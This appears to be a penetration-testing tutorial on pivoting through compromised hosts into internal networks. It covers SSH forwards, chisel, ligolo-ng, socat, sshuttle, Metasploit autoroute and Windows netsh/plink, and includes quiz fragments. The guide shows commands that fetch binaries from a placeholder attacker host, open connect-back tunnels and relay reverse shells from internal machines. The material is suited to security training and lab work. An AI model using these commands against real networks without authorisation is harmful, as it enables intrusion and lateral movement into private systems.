kavklaw@llm $ cat pivoting-tunneling-guide.md
β±οΈ 25 min read Β· Reach internal networks through compromised hosts using SSH, chisel, ligolo-ng, and more
Pivoting requires tools on both your attacker machine and the compromised pivot host. Have these ready before you start:
# On your attacker machine (Kali/Parrot):
sudo apt install proxychains4 sshuttle nmap
# Chisel β single static binary, no dependencies
# Download BOTH architectures from: https://github.com/jpillora/chisel/releases
# Keep these in your toolkit:
# chisel_linux_amd64 (most Linux targets)
# chisel_linux_arm64 (ARM targets)
# chisel_windows_amd64 (Windows targets)
# Socat β multipurpose relay tool
sudo apt install socat
# Ligolo-ng β download proxy (attacker) and agent (pivot) binaries
# https://github.com/nicocha30/ligolo-ng/releases
# Proxychains config β edit BEFORE you need it:
# /etc/proxychains4.conf
# Uncomment: dynamic_chain
# Comment out: strict_chain
# Keep: proxy_dns
# [ProxyList] at bottom: socks5 127.0.0.1 1080
For SSH-based pivoting, you just need SSH credentials or a key for the pivot host β nothing extra to install. For chisel and ligolo-ng, you'll need to transfer the binary to the compromised host (via wget, curl, or a Python HTTP server).
Need to reach an internal network through a compromised host right now? Here are the fastest methods:
# Scenario: You have SSH access to 10.10.10.100, need to reach 172.16.1.0/24
# Method 1: SSH SOCKS proxy (simplest)
ssh -D 9050 [email protected]
# Then use proxychains: proxychains nmap -sT 172.16.1.10
# Method 2: SSH local port forward (specific service)
ssh -L 8080:172.16.1.10:80 [email protected]
# Now browse http://localhost:8080 to reach internal web server
# Method 3: Chisel reverse SOCKS (no SSH needed)
# On your attacker machine:
chisel server --reverse -p 8000
# On compromised host:
./chisel client YOUR_IP:8000 R:socks
# Now use proxychains with port 1080
# Method 4: sshuttle (transparent VPN)
sshuttle -r [email protected] 172.16.1.0/24
# Now directly access 172.16.1.x as if you're on the network
Each method has trade-offs. Let's understand when to use each one.
Pivoting means using a box you've already popped to reach networks your attacker machine can't touch directly. Real networks aren't flat β they have segments, VLANs (Virtual LANs β isolated network sections), firewalls, and internal subnets. You get in by "hopping" through hosts that sit on multiple networks.
Think of it like this: you compromise a web server in the DMZ (demilitarized zone -- a network segment between the public internet and the private internal network). That web server has two network interfaces: one facing the internet (where you attacked it) and one facing the internal corporate network. You can now use that web server as a bridge to reach internal hosts that no external attacker could directly touch.
Networks are deliberately segmented to limit damage. Internal hosts (databases, domain controllers, file servers) use private IP ranges like 10.x.x.x, 172.16.x.x, or 192.168.x.x β these addresses aren't routable on the public internet. Even if you know the IP, your packets have no path to get there. Firewalls and routers enforce these boundaries: the web server in the DMZ is exposed to the internet on specific ports, but the internal database behind it is completely invisible from outside. The only way to reach it is from a machine that's already on that internal network β which is exactly what pivoting gives you.
These terms get used interchangeably, but they're different levels of the same concept:
proxychains to your commands. More flexible than port forwarding, but adds latency and doesn't carry ICMP. UDP support depends on the implementation (SOCKS5 defines UDP ASSOCIATE, but many SSH/proxychains workflows are effectively TCP-only).Before pivoting, you need to understand the network topology. Here's a typical scenario:
βββββββββββββββββββββββ
β Attacker: 10.10.14.5 β
ββββββββββββ¬βββββββββββ
β VPN / Internet
β
ββββββββββββ΄βββββββββββ
β Pivot Host β βββ You compromised this
β eth0: 10.10.10.100 β (accessible from attacker)
β eth1: 172.16.1.1 β (internal network)
ββββββββββββ¬βββββββββββ
β Internal network: 172.16.1.0/24
βββββββΌββββββ
βΌ βΌ βΌ
ββββββββββββββββββββββββ
βTargetββTargetββTargetβ βββ Can't reach directly!
β .10 ββ .20 ββ .30 β
ββββββββββββββββββββββββ
First step after compromising the pivot host β enumerate networks:
# Linux
ip addr show # What interfaces exist?
ip route # What routes are configured?
cat /etc/resolv.conf # What DNS servers? (reveals internal DNS)
arp -a # What hosts are in the ARP cache?
# Windows
ipconfig /all
route print
arp -a
netstat -ano
π‘ Pro Tip: After compromising any host, always check for multiple network interfaces withip addroripconfig /all. If you see more than one non-loopback interface (or an interface on a different subnet), that's your signal to pivot. Also check the ARP cache -- it shows hosts the compromised machine has recently communicated with.
SSH tunneling is the most common pivoting technique because SSH is almost always available on Linux systems. There are three types of SSH tunnels:
"Bring a remote port to my machine." Opens a port on your local (attacker) machine that forwards traffic through the SSH connection to a destination on the internal network. Think of it as creating a tunnel: traffic enters on your end and exits on the pivot's end.
# Syntax: ssh -L [local_port]:[remote_host]:[remote_port] user@pivot_host
# Forward local port 8080 to internal web server
ssh -L 8080:172.16.1.10:80 [email protected]
# Now: http://localhost:8080 β reaches 172.16.1.10:80
# Forward local port 3306 to internal MySQL
ssh -L 3306:172.16.1.20:3306 [email protected]
# Now: mysql -h 127.0.0.1 -P 3306 β reaches internal MySQL
# Multiple port forwards in one connection
ssh -L 8080:172.16.1.10:80 -L 4444:172.16.1.10:443 -L 3306:172.16.1.20:3306 [email protected]
# Forward without opening a shell (-N = no command, -f = background)
ssh -L 8080:172.16.1.10:80 -N -f [email protected]
# Bind to all interfaces (allow others to connect through you)
ssh -L 0.0.0.0:8080:172.16.1.10:80 [email protected]
# Diagram:
# [Attacker:8080] β SSH tunnel β [Pivot:10.10.10.100] β [Internal:172.16.1.10:80]
# localhost:8080 ================================β 172.16.1.10:80
"Put my local port on the remote machine." Opens a port on the remote (pivot) machine that forwards back to your attacker machine. This is the reverse direction: traffic enters on the pivot's end and exits on yours. Useful for getting reverse shells from internal hosts β they connect to the pivot, and the traffic tunnels back to your listener.
# Syntax: ssh -R [remote_port]:[local_host]:[local_port] user@pivot_host
# Make your attacker port 4444 accessible from the pivot host
ssh -R 4444:127.0.0.1:4444 [email protected]
# Now internal hosts can connect to pivot:4444 β reaches attacker:4444
# Expose your web server on the pivot host
ssh -R 8888:127.0.0.1:80 [email protected]
# Now 10.10.10.100:8888 β reaches your attacker's port 80
# Diagram:
# [Internal host] β [Pivot:10.10.10.100:4444] β SSH tunnel β [Attacker:4444]
# Internal targets connect to pivot:4444 which reaches your listener
β οΈ Note: Remote port forwarding requiresGatewayPorts yesin the SSH server config (/etc/ssh/sshd_config) to bind to non-localhost addresses. Without it, the forwarded port only listens on 127.0.0.1 of the pivot host.
"Turn the SSH connection into a SOCKS proxy." A SOCKS proxy (Socket Secure) is a general-purpose proxy that can forward any TCP traffic -- not just web traffic. This is the most flexible option. It creates a SOCKS proxy that routes any traffic through the pivot host to any internal destination.
# Syntax: ssh -D [local_port] user@pivot_host
# Create SOCKS proxy on port 9050
ssh -D 9050 [email protected]
# Now configure tools to use SOCKS proxy at 127.0.0.1:9050
# Use proxychains (auto-routes through the proxy):
proxychains nmap -sT -Pn 172.16.1.10
proxychains curl http://172.16.1.10/
proxychains ssh [email protected]
# Background the tunnel
ssh -D 9050 -N -f [email protected]
# With a non-standard SSH port
ssh -D 9050 -p 2222 [email protected]
# Diagram:
# [Tool] β proxychains β [SOCKS:9050] β SSH β [Pivot] β [Any internal host]
| Type | Flag | Direction | Use Case |
|---|---|---|---|
| Local | -L | Attacker β Pivot β Internal | Access specific internal service |
| Remote | -R | Internal β Pivot β Attacker | Get reverse shells from internal hosts |
| Dynamic | -D | Attacker β Pivot β Anywhere | Full SOCKS proxy for all traffic |
ssh -L 8080:172.16.1.10:80 user@pivot opens port 8080 on your machine, and connections to it are forwarded through the SSH tunnel to 172.16.1.10:80. You then access it at http://localhost:8080. Remote (-R) goes the other direction (exposing your port on the remote). Dynamic (-D) creates a general SOCKS proxy, not a specific port forward.$ ssh [email protected]
ssh -D 9050 [email protected] creates a SOCKS5 proxy on your local port 9050. All traffic routed through this proxy is tunneled through the SSH connection to the pivot host, which forwards it to the final destination. Use with proxychains: proxychains nmap -sT -Pn 172.16.1.10. Add -N (no command) and -f (background) if you just want the tunnel without a shell.# Network Layout:
# [Attacker: 10.10.14.5]
# |
# [Pivot: 10.10.10.100]
# eth0: 10.10.10.100 (reachable)
# eth1: 172.16.1.1 (internal)
# |
# [Target: 172.16.1.10] (internal web + SSH)
# You have: SSH access to pivot, command execution on pivot
# You do NOT have: SSH client on the pivot
chisel server --reverse -p 8000, (2) On pivot: ./chisel client ATTACKER:8000 R:socks. This creates a SOCKS5 proxy on your attacker machine (port 1080) tunneled over HTTP. No SSH, no installation β just one binary. sshuttle requires Python on the pivot and SSH access.π‘ Pro Tip: For CTFs, -D (dynamic SOCKS) is usually the best choice because it lets you reach any host and port through the pivot without setting up individual forwards. Combine with proxychains for easy access to the entire internal network.
Chisel is a fast TCP/UDP tunnel transported over HTTP, secured via SSH. It's perfect when you don't have SSH access but have command execution on the pivot host. It's a single binary, no installation needed.
# Download chisel (get the right architecture)
# https://github.com/jpillora/chisel/releases
# On your attacker machine β start chisel server
chisel server --reverse -p 8000
# --reverse allows clients to open reverse tunnels
# Transfer chisel to the compromised host
# Use python HTTP server, curl, wget, etc.
python3 -m http.server 80 # on attacker
wget http://ATTACKER_IP/chisel # on pivot host
chmod +x chisel
# On compromised host β connect back to attacker
./chisel client ATTACKER_IP:8000 R:socks
# This creates a SOCKS5 proxy on attacker's port 1080
# On attacker β use proxychains with the SOCKS proxy
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 172.16.1.0/24
proxychains curl http://172.16.1.10/
# Specify a different SOCKS port
./chisel client ATTACKER_IP:8000 R:9050:socks
# Forward a specific internal port to attacker
./chisel client ATTACKER_IP:8000 R:8080:172.16.1.10:80
# Now attacker can access http://localhost:8080 β internal:80
# Multiple forwards
./chisel client ATTACKER_IP:8000 R:8080:172.16.1.10:80 R:3306:172.16.1.20:3306
# On compromised host β start chisel server
./chisel server -p 9000
# On attacker β connect as client
chisel client PIVOT_IP:9000 8080:172.16.1.10:80
# Now localhost:8080 β internal:80 through the pivot
π‘ Pro Tip: Chisel is the go-to tool when SSH isn't available. It's a single static binary, works on Linux/Windows/macOS, and the reverse SOCKS proxy mode gives you full access to internal networks. Always have chisel binaries for both Linux (amd64) and Windows (amd64) in your toolkit.
Ligolo-ng is a modern tunneling tool that creates a TUN interface (a virtual network device β think of it like a fake network card) on your attacker machine, making pivoting transparent. No proxychains needed β your OS thinks it has a direct route to the internal network, so every tool works as normal. It's like having a direct VPN to the internal network.
# Download from: https://github.com/nicocha30/ligolo-ng/releases
# You need: proxy (attacker), agent (pivot host)
# On attacker β start the proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# Transfer agent to compromised host
# On compromised host β connect back
./agent -connect ATTACKER_IP:11601 -ignore-cert
# In the proxy console:
# session β select the agent session
# ifconfig β see the pivot host's interfaces
# start β start the tunnel
# Add a route on attacker for the internal network
sudo ip route add 172.16.1.0/24 dev ligolo
# Now you can directly access internal hosts!
nmap -sT -Pn 172.16.1.10 # No proxychains needed!
curl http://172.16.1.10/ # Direct access!
ssh [email protected] # Works transparently!
# To get reverse connections from internal hosts:
# In ligolo proxy console:
# listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# Now internal hosts connecting to pivot:4444 reach your attacker:4444
π‘ Pro Tip: Ligolo-ng is the most user-friendly pivoting tool available. Once the tunnel is up, you don't need proxychains -- everything works as if you're directly on the internal network. The TUN interface approach means all TCP and UDP traffic is tunneled transparently. This is my recommended tool for complex pivoting scenarios.
Socat (short for "SOcket CAT") is a flexible networking tool that can create simple port forwards on the compromised host. It's useful when you just need to forward one or two ports and don't want to set up a full tunnel.
# Simple TCP port forward
# On pivot host: forward port 8080 to internal host's port 80
socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80
# Now connect to pivot:8080 β reaches internal:80
# Background the forward
socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80 &
# Fork mode handles multiple connections
# Without fork, socat exits after the first connection
# UDP port forward
socat UDP-LISTEN:53,fork UDP:172.16.1.10:53
# Forward with bind address
socat TCP-LISTEN:8080,bind=10.10.10.100,fork TCP:172.16.1.10:80
# Socat as a reverse shell relay
# On pivot: relay connections from internal to attacker
socat TCP-LISTEN:4444,fork TCP:ATTACKER_IP:4444
# Internal shell β pivot:4444 β attacker:4444
# Encrypted tunnel with socat (using SSL)
# Generate cert: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -out cert.pem
socat OPENSSL-LISTEN:443,cert=cert.pem,key=key.pem,fork TCP:172.16.1.10:80
Proxychains is a tool that forces any TCP connection to go through a proxy (SOCKS4/5 or HTTP). You prepend proxychains to any command and it automatically routes the traffic through your tunnel. It's essential when using SSH dynamic tunnels or chisel SOCKS proxies.
Config file locations (check both): /etc/proxychains4.conf and /etc/proxychains.conf
Key settings to configure:
dynamic_chain β use this (skips dead proxies)#strict_chain β comment this outproxy_dns β keep this (DNS through proxy too)sudo nano /etc/proxychains4.conf
# At the bottom β [ProxyList] section:
# socks5 127.0.0.1 1080 β chisel default
# socks5 127.0.0.1 9050 β SSH dynamic forward
# Basic usage β prepend 'proxychains' to any command
proxychains nmap -sT -Pn 172.16.1.10
proxychains curl http://172.16.1.10/
proxychains ssh [email protected]
proxychains mysql -h 172.16.1.20 -u root
# Quiet mode (suppress proxychains output)
proxychains -q nmap -sT -Pn 172.16.1.10
# Nmap through proxychains β IMPORTANT limitations:
# β
TCP connect scan (-sT) works
# β SYN scan (-sS) does NOT work (needs raw sockets)
# β UDP scan (-sU) does NOT work
# β Ping/ICMP does NOT work
# Always use: proxychains nmap -sT -Pn ...
# Firefox through SOCKS proxy
# Settings β Network β SOCKS Host: 127.0.0.1, Port: 1080, SOCKS v5
# Also check: "Proxy DNS when using SOCKS v5"
# Or set environment variable
export ALL_PROXY=socks5://127.0.0.1:1080
β οΈ Important: Proxychains only works with TCP. ICMP (ping), UDP, and raw socket scans don't work through proxychains. When scanning through proxychains, always usenmap -sT -Pn(TCP connect, skip ping). SYN scans (-sS) will fail silently.
sshuttle is a transparent proxy over SSH, not a full packet-level VPN like ligolo-ng's TUN interface. Unlike SSH dynamic forwarding + proxychains, sshuttle routes traffic at the kernel level (via iptables), so you don't need to prepend proxychains to every command.
# Basic usage β route specific subnet through SSH
sshuttle -r [email protected] 172.16.1.0/24
# Now you can directly access internal hosts:
nmap -sT -Pn 172.16.1.10 # No proxychains needed!
curl http://172.16.1.10/ # Direct access!
# Route all traffic (except SSH itself)
sshuttle -r [email protected] 0.0.0.0/0
# Multiple subnets
sshuttle -r [email protected] 172.16.1.0/24 192.168.1.0/24
# With SSH key authentication
sshuttle -r [email protected] --ssh-cmd "ssh -i id_rsa" 172.16.1.0/24
# Non-standard SSH port
sshuttle -r [email protected]:2222 172.16.1.0/24
# Exclude specific subnets
sshuttle -r [email protected] 172.16.1.0/24 -x 172.16.1.1
# DNS through the tunnel
sshuttle --dns -r [email protected] 172.16.1.0/24
# Verbose mode
sshuttle -vr [email protected] 172.16.1.0/24
| Feature | sshuttle | SSH -D + Proxychains |
|---|---|---|
| Setup complexity | Simple (one command) | Two steps (SSH + configure proxychains) |
| Transparent routing | β Yes -- no proxy config needed | β Must prepend proxychains |
| UDP support | β TCP only | β TCP only |
| DNS through tunnel | β With --dns flag | β With proxy_dns in config |
| Requires on pivot | Python (usually present) | SSH server only |
| Root on attacker | β Required (modifies iptables) | β Not required |
π‘ Pro Tip: sshuttle is the fastest way to pivot if you have SSH access. One command and you're transparently routing to the internal network. The only downside is it requires Python on the pivot host (which is almost always present on Linux). Use it as your default for SSH-based pivoting.
If you have a Meterpreter session (Metasploit's advanced shell on a compromised host) on the pivot host, Metasploit has built-in pivoting capabilities.
# Assuming you have a meterpreter session (session 1) on the pivot host
# Method 1: autoroute β add route through the session
meterpreter> run autoroute -s 172.16.1.0/24
# Or from msf console:
msf> use post/multi/manage/autoroute
msf> set SESSION 1
msf> set SUBNET 172.16.1.0
msf> run
# Now Metasploit modules automatically route through the pivot
msf> use auxiliary/scanner/portscan/tcp
msf> set RHOSTS 172.16.1.10
msf> set PORTS 22,80,443,445
msf> run
# Method 2: portfwd β forward specific ports
meterpreter> portfwd add -l 8080 -p 80 -r 172.16.1.10
# Now localhost:8080 β internal:80
meterpreter> portfwd add -l 4444 -p 4444 -r 172.16.1.10
# Reverse shell from internal host
# List active forwards
meterpreter> portfwd list
# Delete a forward
meterpreter> portfwd delete -l 8080 -p 80 -r 172.16.1.10
# Method 3: SOCKS proxy
msf> use auxiliary/server/socks_proxy
msf> set SRVPORT 9050
msf> set VERSION 5
msf> run -j
# Now use proxychains with port 9050
# proxychains nmap -sT -Pn 172.16.1.10
When your pivot host is Windows, the tools and techniques differ. Windows doesn't have SSH by default (though modern versions do), so you need Windows-specific approaches.
# Built-in Windows port forwarding (requires admin)
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10
# List all port forwards
netsh interface portproxy show all
# Delete a forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
# Also need to allow the port through Windows Firewall
netsh advfirewall firewall add rule name="Pivot 8080" dir=in action=allow protocol=tcp localport=8080
# Plink β PuTTY's SSH client for command line
# Download: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
# Dynamic SOCKS proxy (like ssh -D)
plink.exe -D 9050 -ssh user@ATTACKER_IP -pw password -N
# Local port forward
plink.exe -L 8080:172.16.1.10:80 -ssh user@ATTACKER_IP -pw password -N
# Remote port forward
plink.exe -R 4444:127.0.0.1:4444 -ssh user@ATTACKER_IP -pw password -N
# Auto-accept host key (non-interactive)
echo y | plink.exe -ssh user@ATTACKER_IP -pw password -D 9050 -N
# Chisel works on Windows too β same syntax
# Download the windows amd64 binary
# Reverse SOCKS proxy
chisel.exe client ATTACKER_IP:8000 R:socks
# Port forward
chisel.exe client ATTACKER_IP:8000 R:8080:172.16.1.10:80
# Modern Windows includes OpenSSH client
ssh -D 9050 user@ATTACKER_IP -N
ssh -L 8080:172.16.1.10:80 user@ATTACKER_IP -N
# Check if SSH is available
where ssh.exe
# C:\Windows\System32\OpenSSH\ssh.exe
Sometimes you need to pivot through multiple networks, compromising Host A to reach Network B, then compromising Host B to reach Network C. This is double (or multi-hop) pivoting.
βββββββββββββββββββ
β Attacker β
β 10.10.14.5 β
ββββββββββ¬βββββββββ
β Hop 1
ββββββββββ΄βββββββββ
β Pivot 1 β
β 10.10.10.100 β
β 172.16.1.1 β
ββββββββββ¬βββββββββ
β Hop 2
ββββββββββ΄βββββββββ
β Pivot 2 β
β 172.16.1.10 β
β 192.168.1.1 β
ββββββββββ¬βββββββββ
β
ββββββββββ΄βββββββββ
β Target β
β 192.168.1.100 β βββ Need to reach this!
βββββββββββββββββββ
# Method 1: Chained SSH tunnels
# First hop β SOCKS proxy through Pivot 1
ssh -D 9050 -N -f [email protected]
# Second hop β SSH through the first proxy to create another SOCKS
proxychains ssh -D 9051 -N -f [email protected]
# Now edit proxychains.conf to use port 9051 for the deeper network
# Method 2: Chisel chain
# On attacker:
chisel server --reverse -p 8000
# On Pivot 1:
./chisel client ATTACKER_IP:8000 R:socks # SOCKS on attacker:1080
# On Pivot 2 (reached through proxychains):
# Start another chisel server on Pivot 1 first:
# (on Pivot 1): ./chisel server --reverse -p 9000
# (on Pivot 2): ./chisel client 172.16.1.1:9000 R:socks
# Method 3: Ligolo-ng (cleanest for double pivot)
# Ligolo supports adding multiple agents
# 1. Set up ligolo proxy and first agent as normal
# 2. Add route for first internal network
# 3. From the first internal network, transfer agent to Pivot 2
# 4. Pivot 2 connects back to your ligolo proxy
# 5. Add route for second internal network
# 6. Both networks are now accessible!
# Method 4: SSH ProxyJump (-J flag)
ssh -J [email protected] [email protected]
# Chains through Pivot 1 to reach Pivot 2
# ProxyJump with port forwarding
ssh -J [email protected] -L 8080:192.168.1.100:80 [email protected]
# Chains through two hops, forward internal web server
# Triple jump
ssh -J user@hop1,user@hop2 user@hop3
π‘ Pro Tip: For double pivoting, ligolo-ng is by far the cleanest solution. Each agent connects back to your proxy, and you just add routes for each network. No chained proxychains configs, no proxy-in-a-proxy complexity. For SSH-based double pivoting, the -J (ProxyJump) flag is elegant and built-in.
Here's the step-by-step approach to pivoting in a real engagement or CTF:
# On the compromised pivot host:
ip addr show # Network interfaces
ip route # Routing table
cat /etc/resolv.conf # DNS servers
arp -a # Known hosts
cat /etc/hosts # Static mappings
netstat -tulnp # Active connections
# Windows:
ipconfig /all
route print
arp -a
type C:\Windows\System32\drivers\etc\hosts
netstat -ano
ββββββββββββββββββββββββββββββββββββββββββ
β PIVOTING TOOL DECISION TREE β
βββββββββββββββββββββ¬βββββββββββββββββββββ
βΌ
Have SSH access?
ββββ YES βββββββ NO βββββββ
βΌ β βΌ
sshuttle (easy) β Have cmd execution?
or SSH -D β βββ YES βββββ NO βββ
β βΌ β βΌ
β chisel β Meterpreter?
β (single β βΌ YES
β binary) β autoroute +
β β socks_proxy
βΌ
Need transparent routing?
βΌ YES βΌ NO
ligolo-ng SSH -D +
or sshuttle proxychains
# Example using chisel (most universally applicable):
# Attacker:
chisel server --reverse -p 8000
# Pivot host:
./chisel client ATTACKER_IP:8000 R:socks
# Configure proxychains:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Host discovery (can't use ICMP through SOCKS)
proxychains nmap -sT -Pn --top-ports 20 172.16.1.1-254 -T4
# Or use a ping sweep from the pivot host itself
for i in $(seq 1 254); do
ping -c 1 -W 1 172.16.1.$i &>/dev/null && echo "172.16.1.$i is alive"
done
# Detailed scan of discovered hosts
proxychains nmap -sT -Pn -sV -p- 172.16.1.10
# Web browsing β configure browser SOCKS proxy
# Or use proxychains:
proxychains firefox http://172.16.1.10/ &
# Exploitation through the tunnel
proxychains python3 exploit.py -t 172.16.1.10
# Reverse shells from internal hosts need special handling:
# Set up a relay so internal hosts can reach your listener
# Chisel: R:4444:127.0.0.1:4444
# SSH: -R 4444:127.0.0.1:4444
# Ligolo: listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
$ ./chisel client ATTACKER_IP:8000
R:socks tells the chisel client to create a reverse SOCKS proxy. The "R:" prefix means reverse (the proxy opens on the server/attacker side, not the client/pivot side). This creates a SOCKS5 proxy on the attacker's port 1080 by default. You can specify a different port with R:9050:socks. Then configure proxychains to use 127.0.0.1:1080 (or your chosen port).ip addr (Linux) or ipconfig /all (Windows). Multiple interfaces on different subnets mean the host has access to other networks you can pivot into. Also check ip route, arp -a (recently contacted hosts), and /etc/resolv.conf (internal DNS). If you only see one interface, there might not be anything to pivot to.-sT (TCP connect) which makes full TCP connections. Also use -Pn because ICMP ping doesn't work through SOCKS either.sshuttle -r user@pivot 172.16.1.0/24 and you can directly access internal hosts without proxychains β nmap, curl, ssh, everything just works as if you're on the internal network. It modifies iptables (requires root on attacker) and needs Python on the pivot (almost always present on Linux). It's the fastest and simplest SSH-based pivoting solution.ssh -J user@hop1 user@hop2, what does the -J flag do?ssh -J user@hop1 user@hop2 connects through hop1 to reach hop2. You can chain multiple jumps: ssh -J user@hop1,user@hop2 user@hop3. Combine with -L for port forwarding through multiple hops: ssh -J user@hop1 -L 8080:192.168.1.100:80 user@hop2.β Mistake #1: Using nmap -sS through proxychains.
SYN scans require raw sockets, which don't work through SOCKS proxies. You'll get errors or no results. Always use-sT(TCP connect) and-Pn(skip ping) when scanning through proxychains.
β Mistake #2: Forgetting to check for multiple network interfaces.
After compromising any host, always runip addroripconfig /all. If there's only one interface, there might not be anything to pivot to. If there are multiple interfaces on different subnets -- that's your next target.
β Mistake #3: Not setting up reverse shell relays.
When exploiting internal hosts through a pivot, reverse shells need to connect back through the tunnel. If your listener is on port 4444, you need to forward that port through the pivot so internal hosts can reach it.
β Mistake #4: Using strict_chain in proxychains for multi-hop.
strict_chainfails if any proxy in the chain is down. Usedynamic_chain-- it skips dead proxies and tries the next one. This is more resilient for complex pivoting scenarios.
β Mistake #5: Not having the right chisel binaries ready.
You need chisel compiled for the pivot host's architecture. Always have linux-amd64, linux-arm64, and windows-amd64 binaries in your toolkit. Transferring the wrong architecture binary wastes time.
β Mistake #6: Overcomplicating the pivot setup.
Start with the simplest tool that works. If you have SSH β use sshuttle (one command). Don't set up ligolo-ng for a single port forward. Match the complexity of your tool to the complexity of the scenario.